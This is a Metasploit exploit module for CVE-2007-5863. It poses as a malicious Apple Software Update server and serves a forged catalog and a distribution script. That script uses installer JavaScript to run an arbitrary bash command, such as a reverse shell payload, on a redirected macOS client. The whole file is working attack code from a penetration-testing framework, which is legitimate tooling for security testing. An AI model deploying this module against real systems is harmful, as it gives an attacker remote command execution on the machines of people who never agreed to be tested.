##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple OS X Software Update Command Execution',
      'Description'    => %q{
          This module exploits a feature in the Distribution Packages,
        which are used in the Apple Software Update mechanism. This feature
        allows for arbitrary command execution through JavaScript. This exploit
        provides the malicious update server. Requests must be redirected to
        this server by other means for this exploit to work.
      },
      'Author'         => [ 'Moritz Jodeit <moritz[at]jodeit.org>' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2007-5863'],
          ['OSVDB', '40722'],
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00",
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'generic perl ruby bash telnet bash-tcp',
            }
        },
      'Platform'	=> 'osx',
      'Targets'	=>
        [
          [
            'Automatic',
            {
              'Platform' => [ 'unix' ],
              'Arch'     => ARCH_CMD,
            },
          ],
        ],
      'DisclosureDate' => 'Dec 17 2007',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]),
        OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
      ])
  end

  # Encode some characters using character entity references and escape any
  # quotation characters, by splitting the string into multiple parts.
  def encode_payload(payload)
    encoded = payload.gsub(/[&<>"']/) do |s|
      case s
      when '&'
        "&amp;"
      when '<'
        "&lt;"
      when '>'
        "&gt;"
      when '"'
        '"+\'"\'+"'
      when '\''
        "&apos;"
      end
    end
    return '"' + encoded + '"'
  end

  # Generate the initial catalog file with references to the
  # distribution script, which does the actual exploitation.
  def generate_catalog(server)
    languages = [ "", "Dutsch", "English", "French", "German", "Italian", "Japanese",
      "Spanish", "da", "fi", "ko", "no", "pt", "sv", "zh_CN", "zh_TW" ]
    productkey = rand_text_numeric(3) + "-" + rand_text_numeric(4)
    distfile = rand_text_alpha(8) + ".dist"

    sucatalog = '<?xml version="1.0" encoding="UTF-8"?>'
    sucatalog << '<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'
    sucatalog << '<plist version="1.0">'
    sucatalog << '<dict>'
    sucatalog << '<key>Products</key><dict>'
    sucatalog << "<key>#{productkey}</key><dict>"
    sucatalog << '<key>Distributions</key><dict>'

    languages.each do |l|
      sucatalog << "<key>#{l}</key><string>http://#{server}/#{distfile}</string>\n"
    end

    sucatalog << '</dict></dict></dict></dict></plist>'

    return sucatalog
  end

  # Generate distribution script, which calls our payload using JavaScript.
  def generate_dist(payload)
    func = rand_text_alpha(8)

    dist = '<?xml version="1.0" encoding="UTF-8"?>'
    dist << "<installer-gui-script minSpecVersion='1'>"
    dist << '<options allow-external-scripts = "yes"/>'
    dist << "<choices-outline ui='SoftwareUpdate'>"
    dist << "<line choice='su'/>"
    dist << "</choices-outline>"
    dist << "<choice id='su' visible ='#{func}()'/>"
    dist << "<script>"
    dist << "function #{func}() { system.run('/bin/bash', '-c', #{encode_payload(payload)}); }"
    dist << "</script>"
    dist << "</installer-gui-script>"

    return dist
  end

  def on_request_uri(cli, request)
    date = Time.now
    server = "swscan.apple.com"

    header = {
      'Content-Type' => 'text/plain',
      'Last-Modified' => date,
      'Date' => date,
    }

    if request.uri =~ /\.sucatalog$/
      print_status("Sending initial distribution package")
      body = generate_catalog(server)
    elsif request.uri =~ /\.dist$/
      print_status("Sending distribution script")
      return if ((p = regenerate_payload(cli)) == nil)
      body = generate_dist(p.encoded)
    else
      return
    end
    send_response(cli, body, header)
    handler(cli)
  end
end
